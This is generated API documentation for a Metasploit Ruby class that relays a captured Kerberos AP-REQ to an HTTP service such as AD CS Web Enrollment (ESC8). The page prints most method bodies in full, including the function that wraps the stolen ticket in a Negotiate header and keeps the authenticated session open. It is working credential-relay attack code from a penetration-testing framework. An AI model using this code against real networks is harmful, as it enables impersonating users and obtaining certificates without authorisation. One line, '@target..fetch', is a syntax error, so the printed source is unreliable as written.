Class: Msf::Exploit::Remote::Relay::Kerberos::Target::HTTP::Client
- Inherits:
-
Object
- Object
- Msf::Exploit::Remote::Relay::Kerberos::Target::HTTP::Client
- Extended by:
- Forwardable
- Defined in:
- lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb
Overview
HTTP relay target for Kerberos (CVE-2026-20929). Replays a captured AP-REQ to a real HTTP service (e.g. AD CS Web Enrollment for ESC8) over a SPNEGO Negotiate exchange.
Unlike NTLM, a Kerberos AP-REQ is a complete, self-contained credential: there is no challenge/response round-trip, so the relay is a single request. On success the connection is left open for the calling module to issue authenticated follow-up requests (mirroring how the NTLM ESC8 target reuses the relayed connection).
Instance Attribute Summary collapse
-
#logger ⇒ Object
readonly
protected
Returns the value of attribute logger.
-
#target ⇒ Object
readonly
The relay target descriptor (ip/port/path/protocol).
Class Method Summary collapse
-
.create(provider, target, logger, timeout) ⇒ Object
Build a target client bound to the relay server connection’s TLS context, matching the NTLM target factory signature.
Instance Method Summary collapse
-
#conn ⇒ Rex::Socket?
The underlying socket of the relayed connection.
- #disconnect! ⇒ Object
-
#initialize(client:, target:, logger: nil, timeout: -1)) ⇒ Client
constructor
A new instance of Client.
-
#log_error(msg) ⇒ Object
protected
Surface an error once: to the operator console when a logger is attached (the create path always attaches one), otherwise to the framework log so a loggerless client still records it.
-
#relay_ap_req(ap_req_der) ⇒ Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult?
Replay a captured AP-REQ to the target’s HTTP service.
-
#send_recv(req, timeout = -1)) ⇒ Object
Send a follow-up request on the relayed, now-authenticated connection.
-
#successful_status?(code) ⇒ Boolean
protected
Whether an HTTP status code indicates the relayed AP-REQ was accepted.
Constructor Details
#initialize(client:, target:, logger: nil, timeout: -1)) ⇒ Client
Returns a new instance of Client.
38 39 40 41 42 43 |
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 38 def initialize(client:, target:, logger: nil, timeout: -1) @client = client @target = target @logger = logger @timeout = timeout end |
Instance Attribute Details
#logger ⇒ Object (readonly, protected)
Returns the value of attribute logger.
115 116 117 |
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 115 def logger @logger end |
#target ⇒ Object (readonly)
Returns the relay target descriptor (ip/port/path/protocol).
32 33 34 |
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 32 def target @target end |
Class Method Details
.create(provider, target, logger, timeout) ⇒ Object
Build a target client bound to the relay server connection’s TLS context, matching the NTLM target factory signature.
47 48 49 50 51 52 53 54 55 56 57 58 |
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 47 def self.create(provider, target, logger, timeout) http_logger_subscriber = Rex::Proto::Http::HttpLoggerSubscriber.new(logger: logger) client = Rex::Proto::Http::Client.new( target.ip, target.port, provider.dispatcher.tcp_socket.context, target.protocol == :https, subscriber: http_logger_subscriber ) new(client: client, target: target, logger: logger, timeout: timeout) end |
Instance Method Details
#conn ⇒ Rex::Socket?
The underlying socket of the relayed connection.
This class stands in for a Rex::Proto::Http::Client when it is passed to #send_request_raw as ‘client’, and that method reaches for the socket after every request to trace the peer certificate. Without this it raises NoMethodError once the relay succeeds.
105 106 107 |
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 105 def conn @client.conn end |
#disconnect! ⇒ Object
109 110 111 |
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 109 def disconnect! @client.close end |
#log_error(msg) ⇒ Object (protected)
Surface an error once: to the operator console when a logger is attached (the create path always attaches one), otherwise to the framework log so a loggerless client still records it.
127 128 129 130 131 132 133 |
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 127 def log_error(msg) if @logger @logger.print_error(msg) else elog(msg) end end |
#relay_ap_req(ap_req_der) ⇒ Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult?
Replay a captured AP-REQ to the target’s HTTP service.
65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 |
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 65 def relay_ap_req(ap_req_der) security_blob = Rex::Proto::Gss::KerberosToken.build_spnego_ap_req(ap_req_der) req = @client.request_raw( 'method' => 'GET', 'uri' => @target.path, 'headers' => { 'Accept-Encoding' => 'identity', 'Authorization' => "Negotiate #{Base64.strict_encode64(security_blob)}" } ) res = @client.send_recv(req, @timeout, true) if res.nil? log_error("No HTTP response received from #{@target}") return nil end Msf::Exploit::Remote::Relay::Kerberos::Target::RelayResult.new( message: res, success: successful_status?(res.code) ) end |
#send_recv(req, timeout = -1)) ⇒ Object
Send a follow-up request on the relayed, now-authenticated connection. The connection is kept persistent so the Kerberos-authed session stays open across the enrollment exchange (send_request_raw drives this with ‘client’ => self).
93 94 95 |
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 93 def send_recv(req, timeout = -1) @client.send_recv(req, timeout, true) end |
#successful_status?(code) ⇒ Boolean (protected)
Whether an HTTP status code indicates the relayed AP-REQ was accepted. Configurable per target, defaulting to any 2xx.
119 120 121 122 |
# File 'lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb', line 119 def successful_status?(code) expected = @target.respond_to?(:protocol_options) ? @target..fetch(:http_status_code, 200..299) : (200..299) expected.is_a?(Range) ? expected.include?(code) : expected == code end |